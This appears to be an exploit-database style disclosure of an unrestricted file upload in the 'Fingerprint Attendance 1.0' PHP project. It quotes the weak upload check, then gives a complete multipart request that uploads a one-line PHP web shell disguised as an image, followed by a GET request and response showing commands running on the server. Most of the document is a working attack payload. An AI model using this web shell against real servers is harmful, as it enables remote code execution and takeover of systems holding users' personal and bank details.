# Title: Fingerprint Attendance 1.0  Shell Upload
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/
# Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.jpg files in attachments section with use of intercept tool in burbsuite to edit the raw


#vulnerability Code  php
Needs more filtering to upload NRIC files

```
<?php

$namae = $_POST["NRIC"]; // this will be nric
$target_dir = "photo/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        //echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
      //  echo "File is not an image.";
        $uploadOk = 0;
    }
}
```


[+] Payload POST

```
POST /fingerprint/src/register.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3324626841792192532944123116
Content-Length: 2446
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/fingerprint/src/register.php
Cookie: PHPSESSID=64cp9kf4qmus9p55o63clicu2q
Upgrade-Insecure-Requests: 1

-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="fname"
Admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="lname"

admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="NRIC"
Admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="emailaddress"
Admin@gmail.com
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="contact"

admin

-----------------------------3324626841792192532944123116

Content-Disposition: form-data; name="contact2"
admin
-----------------------------3324626841792192532944123116

Content-Disposition: form-data; name="line1"

-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="line2"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="line3"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="city"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="zip"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="country"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="bankName"
Admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="bankDetail"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="job"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="fileToUpload"; filename="0day_hejap.png.php"
Content-Type: image/jpg

<?=`$_GET[515]`?>


-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="button"
Register
-----------------------------3324626841792192532944123116--
```


#Status: CRITICAL

[+] Payload GET

```
GET /fingerprint/src/photo/0day_hejap.php?515=echo+Hejap+Zairy HTTP/1.1

Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41
Upgrade-Insecure-Requests: 1


```

#Response 
```
HTTP/1.1 200 OK
Date: Thu, 29 Mar 2022 11:15:56 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 12
Connection: close
Content-Type: text/html; charset=UTF-8

Hejap Zairy
```


# Description:
The file upload  bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.


# Proof and Exploit:
https://i.imgur.com/A3BlWTF.png